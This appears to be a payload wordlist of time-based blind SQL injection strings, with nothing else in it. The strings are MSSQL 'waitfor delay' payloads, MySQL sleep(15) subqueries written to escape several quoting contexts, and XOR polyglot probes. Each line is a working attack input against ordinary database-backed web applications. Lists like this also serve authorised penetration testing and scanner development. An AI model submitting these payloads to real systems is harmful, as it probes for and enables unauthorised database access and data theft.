1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1*if(now()=sysdate(),sleep(15),0)
1-1; waitfor delay '0:0:15' --